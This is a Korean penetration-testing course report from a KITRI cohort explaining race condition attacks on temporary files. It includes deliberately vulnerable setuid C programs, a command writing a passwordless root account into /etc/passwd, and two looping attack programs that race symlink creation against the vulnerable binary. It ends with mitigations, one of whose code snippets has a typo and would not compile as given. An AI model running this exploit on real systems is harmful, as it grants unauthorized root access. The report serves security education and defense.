|  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
|  | | |  | | KITRI 모의해킹 28기 | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | 작성: | | |  | |
|  | Race Condition Attack | | | | | | |  |
|  | | 시스템 해킹 | | | |  | | |
|  | |  | | | |  | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |
|  | | |  | |  | | | |

|  |
| --- |
| 1. Race Condition Attack 개요 |
| 1. Race Condition 이란?  - 한정된 자원을 동시에 이용하려는 여러 프로세스가 자원을 차지하기 위해 경쟁하는 현상  => 이를 이용하여 root권한을 얻거나 정상적인 프로세스 사이에 원하는 작업을 강제로 끼워넣는 것이 Race Condition Attack |
| 2. Race Condition Attack 달성 조건   1. 취약서버 또는 취약프로그램이 동작 간 임시 파일을 생성 또는 활용한다. 2. 공격자는 임시파일의 이름을 사전에 알고 있어야 한다. |
| 3. Race Condition Attack 공격 기본 절차  취약한 프로그램이 어떤식으로 동작하는지, 어떤식으로 임시파일을 생성하고 활용하는지에 따라 적용될 수 있는 방법이 천차만별이나, 기본적으로는 다음과 같다.  1) 공격자가 취약프로그램이 활용하는 임시 파일의 이름을 파악한다.  2) 공격자가 생성되는 임시 파일과 같은 이름의 파일을 생성한다.  3) 생성한 파일에 공격자가 원하는 파일(ex. /etc/passwd 등) 로 향하게하는 심볼릭 링크를 적용한다.  4) 원본 임시 파일을 삭제한 뒤, 취약 프로그램이 다시 임시파일을 활용하게 한다.  => 이런 과정들이 스크립트 등에 의해 무수히 많이 반복실행될 때 race condition 조건이 달성되곤 한다. |

|  |
| --- |
|  |
| 2. 공격과정 |
| |  | | --- | | 1. 대표적인 Race Condition Attack 시나리오  본래는, 목표 시스템 및 프로그램을 분석하여 임시파일을 활용하는 프로그램 등을 우선 찾아야 한다.  해당작업은 전문적인 지식이 요구될뿐만 아니라, 완전한 토폴로지 및 서버구축이 우선시되므로, 우선 해당 공격에 취약한 프로그램을 의도적으로 간단하게 제작한 뒤 테스트를 해보겠다.   1. 다음은 유저가 작성한 내용을 임시파일을 생성해서 저장할 수 있도록 하는 일반적인 프로그램 C 코드이다.   // 파일명 : vulnerable  #include <stdio.h>  #include <stdlib.h>  #include <unistd.h>  #include <sys/stat.h>  #include <sys/types.h>  int main(int argc, char\* argv[])  {  struct stat st;  FILE\* fp;  if(argc !=3) // 유저의 입력값이 3개(argv[0],[1],[2])가 아니면 에러메시지 출력 후 종료  {  fprintf(stderr, "usage: %s file\_name data\n", argv[0]);  exit(-1);  }  if((fp=fopen(argv[1], "a")) == NULL) // 해당 파일을 열 수 없으면 에러메시지 출력 후 종료  {  fprintf(stderr, "%s open failed!!", argv[0]);  exit(-1);  }  fprintf(fp, "%s\n", argv[2]); // 생성된 임시파일에 3번째 입력값을 저장한다.  fclose(fp);  fprintf(stderr, "Write OK\n"); // 정상적인 작업이 완료되면 Write Ok 메시지 출력  }  해당 프로그램에는 누구든 활용할 수 있도록 setuid 설정이 적용되어 있다고 가정한다.     1. 공격자는 이를 분석한 뒤, 손쉽게 악용 및 공격이 가능하다.   본래 목적과는 다르게, 이 프로그램은 관리자만 접근할 수 있는 파일에 임의로 원하는 내용을 입력할 수 있는 취약점이 발생한다.  $ ./race\_test /etc/passwd test01::0:0:root:/root:/bin/bash  다음과 같은 명렁을 통해 공격자는 손쉽게 관리자 권한으로 패스워드가 없는 root계정 test01에 대한 내용을 /etc/passwd 파일에 작성할 수 있다.    cat /etc/passwd명령어의 출력결과로, test01이라는 root계정이 생성된 것을 확인할 수 있다.    생성한 계정으로 손쉽게 root 권한을 탈취할 수 있다.   1. 관리자가 이를 막기위하여 다음과 같이 소스코드를 수정했다고 가정하자.   // 파일명 : vulnerable2  #include <stdio.h>  #include <stdlib.h>  #include <unistd.h>  #include <sys/stat.h>  #include <sys/types.h>  int main(int argc, char\* argv[])  {  struct stat st;  FILE\* fp;  if(argc !=2) // 입력값을 2개만 받는 것으로 수정 (지정된 파일만 작성 가능하도록)  {  fprintf(stderr, "usage: %s file\_name data\n", argv[0]);  exit(-1);  }  remove("/tmp/test"); //만약 해당 파일이 이미 존재한다면, 삭제한다. 이를통해 기존  if((fp=fopen("/tmp/test", "a")) == NULL) // 임시파일의 이름을 test로 고정시킨다.  {  fprintf(stderr, "%s open failed!!", argv[0]);  exit(-1);  }  fprintf(fp, "%s\n", argv[1]); 생성된 임시파일에 2번째 입력값을 저장한다.  fclose(fp);  fprintf(stderr, "Write OK\n");  }   1. 이를 뚫기 위해서 최종적으로 Race Condition Attack이 활용된다.   관리자가 입력값을 2개(파일명 입력 제한)로 변경시키고, 임시파일의 이름을 지정하여 공격자가 passwd 파일 등에임의로 작성하지 못하도록 하였다. 심볼릭 링크를 활용하려해도 입력 값 작성 전 해당 파일의 존재여부를 확인하여 제거하므로 본래 시도했던 공격은 실패하는 상황이다. 이럴 경우, 임의의 행동을 통해 race condition 조건을 강제 충족시켜 우회가능하다.  [기존 임시파일의 삭제 -> 임시파일 생성] 사이의 Race Condition 조건을 노리기 위하여   * 취약한 프로그램을 계속해서 반복하여 실행시키는 attack1과 * 심볼릭 링크를 반복하여 생성하는 attack2 스크립트를 제작한다. |  |  | | --- | | // 파일명 : attack1  #include <stdio.h>  int main()  {  while(1) // 취약프로그램을 반복 실행시켜 임시 파일에 tese03 유저내용을 입력시킨다.  {  system("./race/vulerable2 test03::0:0:root:/root:/bin/bash");  }  } // 파일명 : attack2  #include <stdio.h>  int main()  {  while(1) // 임시파일에 /etc/passwd 파일로 연결되는 심볼릭 링크를 반복 생성한다.  {  system("ln -s /etc/passwd /tmp/test");  }  }  [공격자는](https://blog.naver.com/PostView.nhn?blogId=rbqhrla&logNo=222175129747&categoryNo=0&parentCategoryNo=0&viewDate=&currentPage=1&postListTopCurrentPage=&from=&userTopListOpen=true&userTopListCount=5&userTopListManageOpen=false&userTopListCurrentPage=1) 해당 스크립트 2개를 반복 실행하여 race condition 조건을 강제로 충족시킨다. | |  | | while문을 통해 지속적으로 반복하여 시도하다보면, 순간적으로 조건이 충족되어 공격자 의도가 달성된다.  (etc/passwd 파일에 root권한을 가진 test03유저가 추가됨).  Test03유저를 통해 손쉽게 root권한을 획득할 수 있게 된다. | |

|  |
| --- |
|  |
| 3. 보안진단 및 대책 |
| 예시로 든 시나리오에서는, 해당 취약프로그램이 임시파일에 내용을 작성하는 기능을 갖고 있기 때문에 관리자만 수정가능한 /etc/passwd 파일을 수정하는 방식으로 root권한을 탈취하였다. 그러나, 작동 간 임시파일을 활용하는 프로그램은 매우 다양하며 임시파일을 활용하는 방식 또한 다양하다. race condition attack은 그런 다양한 조건들을 우선 분석하여 어떤식으로 악용할 것인지를 판단한 후에 공격을 시도하기 때문에 그에 따른 보안대책 역시 다양하지만, 기본적으로는 다음과 같다. |
| 1. 임시파일을 생성을 최소화하며, 활용 후에는 바로 삭제되도록 한다. 2. 관리자는 임시파일을 다루는 프로그램 및 스크립트를 파악하고 있어야 한다. 3. 임시파일 생성 전, 심볼릭링크를 검사하는 구문을 추가한다. (언급된 시나리오에서는 다음 코드를 적용가능)   latat(“/tmp/test”, &st);  if(S\_ISLNK(st.st\_mode))  printf(“Symbolic file detected\n”);  remove(“/tmp/test”);  else ;   1. 불가피하게 임시파일을 생성하더라도, 공격자가 예상하지 못하도록 파일의 이름이 임의로 변경되도록 한다. |
|  |
|  |

|  |
| --- |
|  |
| 4. 보안대책 적용시 공격결과 (최종 매뉴얼에 포함) |
|  |
|  |
|  |
|  |
|  |
|  |